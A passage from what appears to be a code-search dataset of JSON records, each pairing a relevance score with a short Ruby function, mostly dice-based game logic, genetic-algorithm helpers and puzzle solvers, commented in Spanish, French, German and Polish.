\"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n\n end", "title": "" }, { "docid": "097454313403decf7d20244efd0544c5", "score": "0.5581094", "text": "def tirar\n rand(6) + 1 #Aleatorio entre 0-5 y le sumo uno para que salga el 6 si es 5 o 1 si es 0.\n end", "title": "" }, { "docid": "3ef008338919f6e2dc49ea65f11d51ac", "score": "0.5569894", "text": "def mc\n rnd = rand(total_count)\n @possibility_array.detect{ |pos| (rnd -= pos.last) <= 0 }.first\n end", "title": "" }, { "docid": "3ef008338919f6e2dc49ea65f11d51ac", "score": "0.5569894", "text": "def mc\n rnd = rand(total_count)\n @possibility_array.detect{ |pos| (rnd -= pos.last) <= 0 }.first\n end", "title": "" }, { "docid": "94361f41e2e935b2f41be1641f61de0b", "score": "0.55594426", "text": "def anthill\n a = 0 # liczba mrowek juz dodanych do pustego mrowiska\n @M = Array.new(@rows) { Array.new(@cols, 0) } # plansza 2d\n while a < @ants\n r = rand(@rows)\n c = rand(@cols)\n if @M[r][c].to_i == 0\n @M[r][c] = 1\n a += 1\n end\n end\n end", "title": "" }, { "docid": "d88a45b86b39ade80a7e97d17e085485", "score": "0.55538964", "text": "def melodie(opt = {})\n opt = {\n :gattung => 5 \n }.merge!(opt) \n melo = []\n akkorde = self.klangreihe.map {|a| a.map(&:pitch)}\n # FIXME Wie wir hier vom zweiten einmal rum bis zum ersten Akkord laufen ist komisch.\n (1-akkorde.length..0).each_with_index { |akkord_i, i|\n prekord = akkorde[akkord_i-1] # startet bei [0]\n akkord = akkorde[akkord_i] # startet bei [1]\n # Zwölf- und Wendeton bestimmen die \"Flusslage\" (V. Sokolowski)\n # Beim Akkordkrebs ist der (neue) Reihenton, der Wendeton vom Prekord nach davor\n # Beim ersten Akkord wird der Normale Reihenton verwendet\n if akkordkrebs? && !i.zero?\n zwoelfton = _wendeton_von_nach(prekord, akkorde[i-1]).first\n else\n zwoelfton = reihe[i]\n end\n wendeton = _wendeton_von_nach(prekord, akkord).first\n achsentoene = prekord - [zwoelfton, wendeton]\n case opt[:gattung]\n when 1\n # 1. Gattung ist die Zwölftonreihe und eher theoretischer Natur\n # Falls der Akkordkrebs verwendet wird, können wir hier aber nicht direkt die reihe zurückgeben,\n # deshalb machen wir das der konsequenter weise per Hand…\n melo << [zwoelfton]\n when 2\n # Ein Zwölfton + ein Achsenton + ein Wendeton\n # FIXME uniq macht es kurz, aber etwas kryptisch\n melo << [zwoelfton, wendeton].uniq\n when 3\n # 3. Gattung: ein Zwölfton + ein Achsenton + ein Wendeton\n achsenton = _finde_achsenton(achsentoene, zwoelfton, wendeton)\n melo << [zwoelfton, achsenton, wendeton]\n when 4\n # 4. Gattung: ein Zwölfton + zwei Achsentöne + ein Wendeton\n # Hier nehmen wir einfach die Achsentöne von unten nach oben oder \n # die nächsten beiden, wenn es drei gibt\n achsentoene = _naehe_sortiert(achsentoene, zwoelfton) if wendeton == zwoelfton\n melo << [zwoelfton, achsentoene[0], achsentoene[1], wendeton]\n when 5\n # Bei der Methode mit den Zwischenschritten (zt + at dazwischen + wendeton) (bei Götte Gattung 5) vermag man \"durchaus gleich mit dem 1. Sekundenschritt\" beginnen (Sengstschmid) \n melo << [wendeton] and next if i.zero? \n melo << [zwoelfton] and next if wendeton == zwoelfton\n dazwischen = achsentoene.select { |n| n.between?(*[zwoelfton, wendeton].sort) }\n melo << [zwoelfton] + dazwischen + [wendeton]\n else \n raise ArgumentError.new(\"Ich kenne keine Gattung #{opt[:gattung]}! Optionen: #{opt.inspect}\")\n end\n }\n melodie_notation melo\n end", "title": "" }, { "docid": "684281c6250b34b62d49c4bb50edb885", "score": "0.55399483", "text": "def generar\n @numero = []\n until @numero.length == 4\n cifra = rand(9)\n unless @numero.include?(cifra)\n @numero << cifra\n end\n end\n @numero\nend", "title": "" }, { "docid": "6603cb46c2fcdcca216eae4fd11c5c3b", "score": "0.5536318", "text": "def revisar\n cambios = 0\n #verifico valores posibles únicos en el grupo\n for i in celdas\n for j in i.posible\n contador = 0\n for k in celdas\n for l in k.posible\n if (i != k and j == l)\n contador += 1\n end\n end\n end\n if (contador == 0 and i.valor != j) \n i.posible = [j]\n cambios += 1\n end\n end\n end\n \n #busco combinaciones de N valores posibles que se repitan en N celdas\n #si encuentro, los dejo como únicos valores posibles de esas celdas\n for i in 0..8\n if celdas[i].posible.length < 9\n for j in 1..(celdas[i].posible.length)\n todas = celdas[i].posible.combination(j)\n #para cada combinacion posible de N digitos, me fijo si existe exactamente en otras N-1 celdas\n for k in todas\n k.uniq!\n cantidad = 0\n for l in 0..8\n if incluye(celdas[l].posible,k)\n cantidad += 1\n end\n end\n if cantidad == j and j == k.length\n cantidad_unitaria = 0\n for l in 0..8\n for m in k\n if incluye(celdas[l].posible,[m]) and not incluye(celdas[l].posible,k) \n cantidad_unitaria += 1\n end\n end\n end\n if cantidad_unitaria == 0\n for l in 0..8\n resto = [1,2,3,4,5,6,7,8,9] - k\n if incluye(celdas[l].posible,k)\n for n in resto\n cambios += celdas[l].quitar(n)\n end\n else\n for n in k\n cambios += celdas[l].quitar(n)\n end\n end\n end\n cambios\n end\n end\n end\n end\n end\n end\n cambios\n end", "title": "" }, { "docid": "3636abcf41852a55dc1781a9c36016ea", "score": "0.55329335", "text": "def generar\n @numero = []\n until @numero.length == 4\n cifra = rand(9)\n unless @numero.include?(cifra)\n @numero << cifra\n end\n end\n @numero\nend", "title": "" }, { "docid": "91262da4dcbf7c029701f14167bbb54e", "score": "0.55321586", "text": "def ruta(parent)\n rutaRegresada = Array.new\n subArboles = Array.new\n rutaSubArboles = Array.new\n rutaRegresada[0] = rutaSubArboles\n rutaRegresada[1] = subArboles\n parent.tree.children {\n |child|\n child.children {\n |grandChild|\n # Decide si el nodo que sera el punto de cruza\n # sera terminal o funcion\n if rand < 0.1 then\n isTerminal = true\n else\n isTerminal = false\n end\n # Genero la altura, y dependiendo de esta\n # genero un nivel donde se va a cruzar\n height = grandChild.node_height\n levelToCroosover = rand(height)\n # Representa la ruta que debe de seguir\n # para llegar al punto de cruza\n rutaNueva = Array.new\n # Si el nodo raiz desde un principio es\n # una hoja entonces simplemente escogo \n # ese nodo.\n if (grandChild[0].is_leaf?) then\n subArboles.push(grandChild.children[0].clone)\n rutaNueva << 0\n rutaSubArboles << rutaNueva\n else\n rutaAux(0,grandChild,isTerminal,subArboles,rutaNueva,\n levelToCroosover)\n rutaSubArboles << rutaNueva\n end\n }\n }\n return rutaRegresada\n end", "title": "" }, { "docid": "d4c21dc0f35f62c2939189cb13294bc5", "score": "0.55319566", "text": "def search_health_pack\n pack_of_life = rand(1..6)\n \n if pack_of_life == 1\n puts \"You ain't find anything\"\n elsif pack_of_life >= 2 && pack_of_life <=5\n puts \"Congrats! You've found 50 pts of life !\"\n \n # To make sure life doesn't go above 100\n if @life_points >= 50\n @life_points = 100\n else\n @life_points = @life_points + 50\n end \n\n else\n puts \"Wow! You've found 80 pts of life !\"\n # To make sure life doesn't go above 100\n if @life_points >= 20\n @life_points = 100\n else \n @life_points = @life_points + 80\n end\n end\n\n end", "title": "" }, { "docid": "04e20298662462679d99837766157ff0", "score": "0.55180454", "text": "def search_health_pack\n dice = rand(1..6)\n case dice\n when 1\n puts \"Tu n'as rien trouvé ...\"\n when 2..5\n puts \"Bravo ! Tu as trouvé un pack de +50 points de vie !\"\n @life_points += 50\n @life_points = @life_points >= 100 ? 100 : @life_points # Les points de vie ne doivent pas dépasser 100\n when 6\n puts \"Waow ! Tu as trouvé un pack de +80 points de vie !\"\n @life_points += 80\n @life_points = @life_points >= 100 ? 100 : @life_points # Les points de vie ne doivent pas dépasser 100\n end\n end", "title": "" }, { "docid": "42d1997ce917ee5e2ffe1e0eb9aeb391", "score": "0.550774", "text": "def search_weapon\n \t\tnew_weapon = rand(1..6) \n \tputs \"tu as une nouvelle arme de niveau #{new_weapon}\"\n\n\t \tif new_weapon > weapon_level\n\t \t\t@weapon_level = new_weapon \n\t \t\t\tputs\t\" Ta nouvelle arme est plus puissante, tu changes d'arme !!!\"\n\t \telse \tputs \t\"ta nouvelle arme n'est pas meilleure, garde l'ancienne ....dommage\"\n\n\t \tend \n \tend", "title": "" }, { "docid": "08fde3cd0f8d93fdc1cda3060c4f5885", "score": "0.54790026", "text": "def greedy_canoe_a(w, max_load)\n skinny, fat = [], []\n\n # Divide w into 2 arrays: skinny, fat\n w.size.times do |i|\n if w[i] + w[-1] <= max_load\n skinny << w[i]\n else\n fat << w[i]\n end\n end\n\n # fat << w[-1] <---mistake in Codility 14-GreedyAlgorithms PDF?\n canoes = 0\n\n while skinny.any? || fat.any?\n puts \"Skinny: #{skinny}, Fat: #{fat}\"\n # put heaviest skinny guy w/ heaviest fat guy\n s = skinny.any? ? skinny.pop : ''\n f = fat.pop\n puts \"Put #{s}, #{f} in 1 canoe\"\n canoes += 1\n\n # after enmptying \"fat\", move heaviest skinny guy back to \"fat\"\n if skinny.any? && fat.empty?\n fat << skinny.pop\n end\n\n # if lightest + heaviest fat guys can fit in canoe,\n # move lightest fat guy to \"skinny,\" so next loop pairs them\n while fat.size > 1 && fat[0] + fat[-1] <= max_load\n skinny << fat.shift\n end\n end\n puts \"Total canoes: #{canoes}\"\n canoes\nend", "title": "" }, { "docid": "217f7d2bf9b4c2e24d7bf99ef31ee9f3", "score": "0.54745126", "text": "def min_dom_et_random\n compteur = 0\n temp = []\n @problem.myH.each do |var|\n if (compteur == 0) && (var.domain.length > 1) && (!var.depend?)\n temp.push(var)\n compteur+=1\n \n elsif compteur > 0\n if var.domain.length == temp[0].domain.length\n temp.push(var)\n \n elsif (var.domain.length < temp[0].domain.length) &&\n (var.domain.length > 1) && \n (!var.depend?)\n \n temp.clear\n temp.push(var)\n end\n end\n end\n if @randomized\n return temp[rand(temp.length)]\n else\n return temp[0]\n end\n end", "title": "" }, { "docid": "b2cfbd1df76bc39a510093a47fde5e68", "score": "0.5450886", "text": "def check_primeras_pruebas escenario\n # ####\n # #. #\n # #$@#\n # ####\n \n pared_en_1_1 = false\n pared_en_2_1 = false\n pared_en_3_1 = false\n pared_en_4_1 = false\n \n pared_en_1_2 = false\n pared_en_4_2 = false\n\n pared_en_1_3 = false\n pared_en_4_3 = false\n\n pared_en_2_4 = false\n pared_en_3_4 = false\n pared_en_4_4 = false\n\n destino_en_2_2 = false\n caja_en_2_3 = false\n persona_en_3_3 = false\n\n escenario.get_paredes.each do |pared|\n if 1 == pared.get_x && 1 == pared.get_y\n pared_en_1_1 = true\n elsif 2 == pared.get_x && 1 == pared.get_y\n pared_en_2_1 = true\n elsif 3 == pared.get_x && 1 == pared.get_y\n pared_en_3_1 = true\n elsif 4 == pared.get_x && 1 == pared.get_y\n pared_en_4_1 = true\n elsif 1 == pared.get_x && 2 == pared.get_y\n pared_en_1_2 = true\n elsif 4 == pared.get_x && 2 == pared.get_y\n pared_en_4_2 = true\n elsif 1 == pared.get_x && 3 == pared.get_y\n pared_en_1_3 = true\n elsif 4 == pared.get_x && 3 == pared.get_y\n pared_en_4_3 = true\n elsif 2 == pared.get_x && 4 == pared.get_y\n pared_en_2_4 = true\n elsif 3 == pared.get_x && 4 == pared.get_y\n pared_en_3_4 = true\n elsif 4 == pared.get_x && 4 == pared.get_y\n pared_en_4_4 = true\n end\n end\n\n paredes_bien = pared_en_1_1 && pared_en_2_1 && pared_en_3_1 && pared_en_4_1\n pared_en_1_2 && pared_en_4_2 && pared_en_1_3 && pared_en_4_3 &&\n pared_en_2_4 && pared_en_3_4 && pared_en_4_4\n\n paredes_bien = paredes_bien && (11 == escenario.get_paredes.length)\n \n escenario.get_destinos.each do |destino|\n if 2 == destino.get_x && 2 == destino.get_y\n destino_en_2_2 = true\n end\n end\n\n destinos_bien = destino_en_2_2 && (1 == escenario.get_destinos.length)\n\n escenario.get_cajas.each do |caja|\n if 2 == caja.get_x && 3 == caja.get_y\n caja_en_2_3 = true\n end\n end\n\n cajas_bien = caja_en_2_3 && (1 == escenario.get_cajas.length)\n\n persona_en_3_3 = (3 == escenario.get_persona.get_x && 3 == escenario.get_persona.get_y)\n\n assert_equal(true, paredes_bien, \"Mal la carga de paredes a partir del archivo\")\n assert_equal(true, destinos_bien, \"Mal la carga de destinos a partir del archivo\")\n assert_equal(true, cajas_bien, \"Mal la carga de cajas a partir del archivo\")\n assert_equal(true, persona_en_3_3, \"Mal la carga de la persona a partir del archivo\")\n assert_equal(4, escenario.get_ancho, \"Mal el ancho\")\n assert_equal(4, escenario.get_alto, \"Mal el alto\")\n end", "title": "" }, { "docid": "2e48a112badc2fbc4413e8c5a220a8f0", "score": "0.54502547", "text": "def gato\n #array con las fichas que se meteran\n arr = [\"X\",\"O\"]\n #escogera una de las 2 fichas al azar\n azar = arr.shuffle\n #Toma el primer valor del array azar\n value = azar[0]\n #array vacio para meter los valores\n gatos = []\n #llama al metodo generate y le da los valores que estan dentro de gato\n generate(value, 5, gatos)\n #si el valor es x lo crea 5 veces \n if value == \"X\"\n # y genera el contrario 4 veces\n generate(\"0\", 4, gatos)\n #Si el que salio fue \"O\" lo crea 5 veces\n else\n #Y crea \"x 4 veces\"\n generate(\"X\",4, gatos)\n end\nend", "title": "" }, { "docid": "a8abb9266682aecc39eb5e3422342882", "score": "0.54499745", "text": "def search_health_pack\n dice_throw = rand(1..6)\n if dice_throw == 1\n puts \"Tu n'as rien trouvé... \"\n elsif dice_throw > 1 && dice_throw >= 5\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n @life_points += 50\n if @life_points > 100\n @life_points = 100\n end\n else dice_throw == 6\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n @life_points += 80\n if @life_points > 100\n @life_points = 100\n end\n puts \"\"\n end\n end", "title": "" }, { "docid": "aee847996917cf30d986f968cb479b8c", "score": "0.54496616", "text": "def crosover(dad=Chromosome.new(@n_queens,true))\n #creo el cromosoma hijo\n son = Chromosome.new(@n_queens)\n #itero segun el numero de genes\n @n_queens.times do | i |\n #si el aleatorio es 1 escojo de la madre de lo contrario del padre\n #y este el gen que queda en el hijo\n son << if rand(2) == 1; self[i] else dad[i] end\n end\n #cuento nuevamente los ataques en el hijo\n son.count_attacks\n #retorno el hijo\n son\n end", "title": "" }, { "docid": "14f993b3c42084f797dcb0cbc992ae24", "score": "0.5448284", "text": "def bater(alvo)\n if alvo.esta_vivo?\n self.ataque = Random.rand(5)\n puts \"O dano monstro foi #{self.ataque}\"\n alvo.energia -= self.ataque\n else\n puts 'Voce está morto!'\n end\n # puts 'Voce está morto!' unless is_alive?\n end", "title": "" }, { "docid": "6ee886a630115b73a9709030a2a1ab6f", "score": "0.5444585", "text": "def search_weapon\n dice = rand(1..6)\n puts \"Tu as trouvé une arme de niveau #{dice}.\"\n if @weapon_level > dice\n puts \"M@*#$ ... elle n'est pas mieux que ton arme actuelle.\"\n else\n @weapon_level = dice\n puts \"Youhou ! Elle est meilleure que ton arme actuelle ! Tu la prends.\"\n end\n end", "title": "" }, { "docid": "8971a55f055b0403bbcf731d28a18c8c", "score": "0.5434512", "text": "def choose_alonest(door, plan, passengers)\n occupied, unoccupied = occupied_and_not(plan, passengers)\n \n unoccupied.max_by do |space|\n nearest_person =\n occupied.min_by {|occ| manhattan_distance(space, occ)} ||\n choose_nearest(door, plan, passengers) # The first person will sit near the door\n \n manhattan_distance(nearest_person, space) \n end\nend", "title": "" }, { "docid": "f80fdbd5d985c938fa774401b7b73077", "score": "0.543162", "text": "def highest_pile\n best_pile = Pile.new\n @available_boxes.permutation.each do |boxes|\n pile = build_from(boxes)\n if pile.height > best_pile.height\n best_pile = pile\n end\n end\n best_pile\n end", "title": "" }, { "docid": "24c6f6993b3a402ae7ad567d03b68075", "score": "0.5428483", "text": "def rutaAux(level,subtree,isTerminal,subArboles,rutaSubArbolesAux,\n levelToCroosover)\n # Selecciona al subarbol para cruzarlo\n childNodes = subtree.out_degree\n newChild = rand(childNodes)\n # Checo los casos para escoger por donde irme.\n \n #Si es terminal y hoja, entonces escogo ese nodo.\n if (isTerminal && subtree.children[newChild].is_leaf?) then \n subArboles.push(subtree.children[newChild].clone)\n rutaSubArbolesAux << newChild\n return\n else\n # Si es terminal, pero no hoja entonces simplemente\n # sigo bajando por el arbol hasta encontrar una hoja\n if (isTerminal) then\n rutaAux(level+1,subtree.children[newChild],isTerminal,subArboles,\n (rutaSubArbolesAux.push(newChild)),levelToCroosover)\n return\n else\n # Si estoy en el nivel a cruzar, escogo ese nodo como\n # punto de cruza.\n if (levelToCroosover == level + 1) then\n subArboles.push(subtree.children[newChild].clone)\n rutaSubArbolesAux << newChild\n return\n else\n # Si no llegue a una funcion antes de intentar llegar\n # al nivel donde se va a mutar, escogo\n # en nodo padre de la hoja\n if (subtree.children[newChild].is_leaf?) then \n subArboles.push(subtree.clone)\n return\n else\n if (!isTerminal && (levelToCroosover != level + 1)) then\n # Si no paso a ningun caso anterior sigo bajando\n rutaAux(level+1, subtree.children[newChild],isTerminal,subArboles,\n rutaSubArbolesAux << newChild,levelToCroosover)\n return\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "a37d12322a27ecab04ea071e117b41d7", "score": "0.54276395", "text": "def next ms\n if @f.eql? 0\n @strategia = @original.clone\n @original.values.each { |x| @f += x }\n self.next ms\n else\n r = (rand*@f).truncate; e = []\n v = @strategia.values.sort.reverse\n v.each { |p| e.concat([p]*p) }\n k = @strategia.key(e[r])\n @strategia[k] -= 1\n @f -= 1\n begin\n Object::const_get(k.to_s)\n rescue NameError => ne\n raise NameError::new(\"#{caller(0)[-1]}: La llave \\'#{k}\\' del Hash de probabilidades no puede ser reconocido como Movement\")\n end\n end\n end", "title": "" }, { "docid": "aec1b154f599da23477643d9784faaa3", "score": "0.54246414", "text": "def initialize(poblacion,proCruza,proMutacion,maxGeneraciones,individuosTorneo,\n maxDepth,newMaxDepth,competidores)\n # Asignacion de variables importantes para la realizacion del algoritmo.\n @poblacion = poblacion\n @proCruza = proCruza\n @proMutacion = proMutacion\n @maxGeneraciones = maxGeneraciones\n @individuosTorneo = individuosTorneo\n @maxDepth = maxDepth\n @minDepth = 2\n @newMaxDepth = newMaxDepth\n @numberElitismo = 1\n @data = Array.new\n @competidores = competidores\n # Inicializo el conteo de las poblaciones.\n @generacion = 0\n @generacion += 1\n # Genero la primera poblacion.\n generaPoblacion\n # Obtengo el inviduo y sus valores del mejor individuo de la\n # generacion\n getElitismo\n # Imprimo strings en pantalla para saber como va la ejecucion del\n # algoritmo.\n puts \" ----- El mejor individuo de la generacion: \"+ @elitismoFitness.to_s\n # Agrego los valores a la variable global data para las estadisticas\n agregaData\n # Saco la mejor solucion encontrada hasta el momento\n obtenElMejor\n # Intercambio los valores de la vieja generacion por la nueva\n # y me deshago de los valores de la poblacion vieja.\n intercambia\n \n end", "title": "" }, { "docid": "fc7361960d9dfc9c746214561aeace5b", "score": "0.54223776", "text": "def torneo_mejores(pop)\n i, j = rand(pop.size), rand(pop.size)\n j = rand(pop.size) while j==i\n return (pop[i][:fitness] < pop[j][:fitness]) ? pop[i] : pop[j]\nend", "title": "" }, { "docid": "08d99ddbf60b1a84f96bc7a4e9070a3d", "score": "0.5419884", "text": "def search_weapon(new_weapon_level)\n\t@new_weapon_level = rand(1..6)\n\tputs \"Tu as trouvé un ustensile de catégorie #{@new_weapon_level}\"\n\n\tif @new_weapon_level < @weapon_level\n\t \t@new_weapon_level == @weapon_level\n\t \tputs \"C'est la crise, pas d'ustensile de qualité supérieure\"\n\telse\n\t\t@new_weapon_level\n\t\tputs \"Yallah, t'as un ustensile de qualité supérieur!\"\n\tend\nend", "title": "" }, { "docid": "cb7121c3ac8418d825e39221f0b5d0aa", "score": "0.54181945", "text": "def cambiar_direccion\r\n @dir = rand(16)\r\n @movimientos = rand(200)\r\n #nuevo = rand(8)\r\n #if nuevo == @dir\r\n # self.cambiar_direccion\r\n #else\r\n # @dir = nuevo\r\n #end #ifelse\r\n end", "title": "" }, { "docid": "c3af38a08bed4955b44f1ba165aff85a", "score": "0.54174745", "text": "def compute_damage# dommge aléatoire\n \t\tdamage = rand(1..6)* @weapon_level\n \tputs \"la puissance de l'attaque avec arme est de #{damage}\"\n \treturn damage\n \tend", "title": "" }, { "docid": "32c48dfadb19598710bcb3691ed1ab1e", "score": "0.54057455", "text": "def select_level(level_base)\n min = [level_base - GameData::MONSTER_LEVEL_VARIANCE, 1].max\n max = [level_base + GameData::MONSTER_LEVEL_VARIANCE, 1].max\n return rand(min..max)\n end", "title": "" }, { "docid": "1918cf6c79e09755477ad4692fc49bbf", "score": "0.5405434", "text": "def pbRandomRoomTile(dungeon, tiles)\r\n ar1 = AntiRandom.new(dungeon.width)\r\n ar2 = AntiRandom.new(dungeon.height)\r\n ((tiles.length + 1) * 1000).times do\r\n x = ar1.get()\r\n y = ar2.get()\r\n if dungeon.isRoom?(x, y) &&\r\n !tiles.any? { |item| (item[0] - x).abs < 2 && (item[1] - y).abs < 2 }\r\n ret = [x, y]\r\n tiles.push(ret)\r\n return ret\r\n end\r\n end\r\n return nil\r\nend", "title": "" }, { "docid": "19d3e0955c11e029b6a46d964d9ec0bb", "score": "0.5397269", "text": "def definir_ganador(ganador_cant)\n \tposible_ganador= @resultados_rondas.max_by { |v| ganador_cant[v] }\n if posible_ganador.kind_of? Array\n @resultados_rondas.min_by { |v| ganador_cant[v] }\n else\n posible_ganador\n end\n end", "title": "" }, { "docid": "a2890fd09c11c7b35151d497f23a371e", "score": "0.53930897", "text": "def select_pokemon(ecart,*rareness)\n return if $game_temp.trainer_battle\n max_rand = 0\n i = nil\n rareness.each_index do |i|\n @select_pokemon_chances[i] ||= 1\n max_rand += rareness[i]*@select_pokemon_chances[i]\n end\n selected=[]\n $game_temp.vs_type.times do |i|\n nb = Random::WildBattle.rand(max_rand.to_i) #rand(max_rand.to_i)\n puts \"Generated number : #{nb} / #{max_rand.to_i}\"\n count=0\n rareness.each_index do |j|\n count+=(rareness[j]*@select_pokemon_chances[j])\n if nb<count\n selected.push(@enemy_party.actors[j].clone)\n break\n end\n end\n selected.push(@enemy_party.actors[rand(@enemy_party.actors.size)].clone) if selected.size <= i\n end\n @enemy_party.actors.clear\n $game_temp.vs_type.times do |i|\n @enemy_party.actors.push(selected[i])\n if MaxEcart.include?($actors[0].ability) and rand(100) < 50\n lvl=selected[i].level-ecart/2+ecart-1\n else\n lvl=selected[i].level-ecart/2+rand(ecart)\n end\n lvl = 1 if lvl < 1\n selected[i].level=lvl\n selected[i].captured_level = lvl\n selected[i].exp=selected[i].exp_list[lvl]\n selected[i].hp=selected[i].max_hp\n end\n end", "title": "" }, { "docid": "87ed8d3f1449ce4b15ee2cfc5cdb50b6", "score": "0.5386512", "text": "def sortea_palavra()\n v1 = 0\n while v1 == 0 || v1 == \"Opção invalida\"\n puts \"ESCOLHA A CATEGORIA DE ACORDO COM O NÚMERO\"\n puts \"\"\n puts \"1 - Pessoas\"\n puts \"2 - Animais\"\n puts \"3 - Carros\"\n puts \"\"\n v1 = gets.chomp.to_i\n\n case v1\n when 1\n @categoria = :pessoas\n when 2\n @categoria = :animais\n when 3\n @categoria = :carros\n else\n if v1 < 1 || v1 > 3 then\n puts \"Opção invalida\"\n end\n end\n end #fim\n\n #limpa a tela\n system('clear')\n\n #Verifica a quantidade de palavras da categoria e seleciona uma aleatoriamente\n @qtd_categ = Lista.categorias[@categoria].size\n @qtd_categ -= 1\n chave = Random.rand(0..@qtd_categ)\n @palavra = Lista.categorias[@categoria][chave].split('')\n @qtd_letra = @palavra.size\n end", "title": "" }, { "docid": "ce8c1bd59a26aa49ad1905e72d23da64", "score": "0.5381839", "text": "def tirar_dado\n\trand 1..6\nend", "title": "" }, { "docid": "ce8c1bd59a26aa49ad1905e72d23da64", "score": "0.5381839", "text": "def tirar_dado\n\trand 1..6\nend", "title": "" }, { "docid": "417a970fbe3ea47232fb79c5cc22deec", "score": "0.5380236", "text": "def Comprueba_NivelSuperior_10(monstruos)\n monstruos.select {|m| m.combatLevel > 10}\nend", "title": "" }, { "docid": "670cee651a9999818a65778cef4029b8", "score": "0.5374094", "text": "def cantidad_maxima_fabricacion(fabricable)\n cantidad_maxima_metal = recurso_metal / fabricable.metal.costo if fabricable.metal.costo > 0\n cantidad_maxima_cristal = recurso_cristal / fabricable.cristal.costo if fabricable.cristal.costo > 0\n cantidad_maxima_deuterio = recurso_deuterio / fabricable.deuterio.costo if fabricable.deuterio.costo > 0\n [cantidad_maxima_metal, cantidad_maxima_cristal, cantidad_maxima_deuterio].compact.min\n end", "title": "" }, { "docid": "8d1a02185c19a5cecce6f30a741e8301", "score": "0.5368936", "text": "def select_parent\n sum_to = rand(total_fitness)\n\n sum = 0\n population.each do |member|\n sum += member.fitness\n return member if sum >= sum_to\n end\n end", "title": "" }, { "docid": "afcd5eea9055f06410f7198d4d5a876b", "score": "0.5363482", "text": "def degustar_uno()\n\t\tif @contador == 0\n\t\t\tif @annos > 35\n\t\t\t\treturn \"El cocinero se ha jubilado y no hay mas platos disponibles\"\n\t\t\telse\n\t\t\t\treturn \"No hay platos disponibles\"\n\t\t\tend\n\t\telse\n\t\t\t@contador -= 1\n\t\t\treturn \"Que delicioso está el plato\"\n\t\tend\n\tend", "title": "" }, { "docid": "4f232d808299c68a2df4f01198436e63", "score": "0.5342333", "text": "def select\n tournament_attendants = Array.new\n for i in 0..@k - 1\n attendant = @population[rand(@population.size)]\n tournament_attendants.push(attendant) \n end\n \n tournament_attendants.sort! { |a,b| a.fitness <=> b.fitness }\n tmp = srand(2) * @maxRand\n p = @p\n cumulative_p = p\n \n for i in 0..@k - 2\n if tmp<cumulative_p \n return tournament_attendants[i]\n end\n p = p*(1 - @p)\n cumulative_p += p\n end\n return tournament_attendants[@k-1]\n end", "title": "" }, { "docid": "6cea1f8908baeb4387913a772559d55d", "score": "0.53421646", "text": "def create_matingpool()\n #seleccion por torneo cualquier\n (0..@mating_pool-1).each do |i|\n #Genero una posicion aleatoria\n pos =rand(@maxnum_chromosome)\n #obtengo el cromosoma de la poblacion\n chromosome = @population[pos]\n #Genero una posicion aleatoria\n pos =rand(@maxnum_chromosome)\n if @type_selection == 0\n #Si la aptitud que tengo es mayor pues el\n #me quedo con el cromosoma de menor aptitud\n if chromosome.get_fitness > @population[pos].get_fitness\n chromosome =@population[pos]\n end\n elsif @type_selection ==1\n #Si la diversidad que tengo es mayor pues el\n #me quedo con el cromosoma de menor diversidad\n if chromosome.get_diversity > @population[pos].get_diversity\n chromosome =@population[pos]\n end \n elsif @type_selection==2\n #Si la aptitud mixta que tengo es mayor pues el\n #me quedo con el cromosoma de menor aptitud mixta \n if chromosome.get_mixfitness > @population[pos].get_mixfitness\n chromosome =@population[pos]\n end \n end\n #Lo agrego al matting pool\n @mating_array[i]= chromosome\n end\n if @debug\n puts \"Matting :\\n #{@mating_array}\"\n end\n end", "title": "" }, { "docid": "9b8b98d849bbb55336fa38afb648653d", "score": "0.5316882", "text": "def tamanos_muestra_discreta(votos_agregado, n)\n \n peso_total = pesos(votos_agregado).reduce(:+)\n votos_por_mesa = pesos(votos_agregado).map {|x| (x.to_f / peso_total * n).round(2)}\n votos_por_mesa_discretos = []\n votos_por_mesa.each do |votos|\n if rand < votos % 1\n votos_por_mesa_discretos << (votos.to_i + 1)\n else\n votos_por_mesa_discretos << (votos.to_i)\n end\n end\n return votos_por_mesa_discretos\nend", "title": "" }, { "docid": "050f3db3c67e11625d8b14e0c355e004", "score": "0.5310238", "text": "def nivel(prateleira)\n self.niveis.inject([]) {|v, (nivel)| v << nivel if nivel.prateleira == prateleira ;v }\n end", "title": "" }, { "docid": "c0fd967694d80aab750b0fdd8521e047", "score": "0.5298774", "text": "def apartar_menores(num)\n nodo ={\n valor: num,\n siguiente: nil\n }\n conta=1\n while conta<=@pila[:size]\n valor = @pila[:tope][:valor]\n if num>valor && @pila[:tope][:siguiente]==nil\n insertar_en_aux(valor)\n @pasos.push(\"eliminar #{valor}\")#paso..\n @pila[:tope]=nodo\n @pila[:size]+=1\n conta=@pila[:size]+1\n @pasos.push(mostrar_pila())#pasos..\n elsif num ==valor\n tope = @pila[:tope]\n nodo[:siguiente]=tope\n @pila[:tope]=nodo\n @pila[:size]+=1\n conta=@pila[:size]+1\n @pasos.push(mostrar_pila())#pasos..\n elsif num>valor\n insertar_en_aux(valor)\n @pasos.push(\"eliminar #{valor}\")#pasos\n @pila[:tope]=@pila[:tope][:siguiente]\n @pasos.push(mostrar_pila())#pasos..\n elsif num<valor\n tope = @pila[:tope]\n nodo[:siguiente]=tope\n @pila[:tope]=nodo\n @pila[:size]+=1\n conta=@pila[:size]+1\n @pasos.push(mostrar_pila())#pasos..\n end\n conta+=1\n end\n ingresar_menores()\n @pila_aux[:tope]=nil\n @pila_aux[:size]=0\n @pila_aux[:esta_vacia]=true\n end", "title": "" }, { "docid": "da553f0f68417119b24ac86be307d56b", "score": "0.5289677", "text": "def nostalgia; return rand end", "title": "" }, { "docid": "57e8a500299c3729e28c3c8cd379f22a", "score": "0.5285484", "text": "def najdi_prumer\n kolik = self.mat_vzdalenosti[0].length\n max = -999\n for i in 0..kolik - 1\n for j in 0..kolik - 1\n hodnota = self.mat_vzdalenosti[i][j]\n if hodnota > max\n max = hodnota\n end\n end\n end\n self.prumer = max\n end", "title": "" }, { "docid": "0e80e683a5da68b62da3e1b671174849", "score": "0.52850425", "text": "def upto n\n rondas = 0\n ptsacum1 = @ronda.values[0]\n ptsacum2 = @ronda.values[1]\n rondasaux = 0\n if n <= ptsacum1 or n <= ptsacum2 then\n return \"Uno de los jugadores ya supero esta puntuacion o es igual a la misma\"\n end \n while n > ptsacum1 and n > ptsacum2 do\n mov1,mov2 = 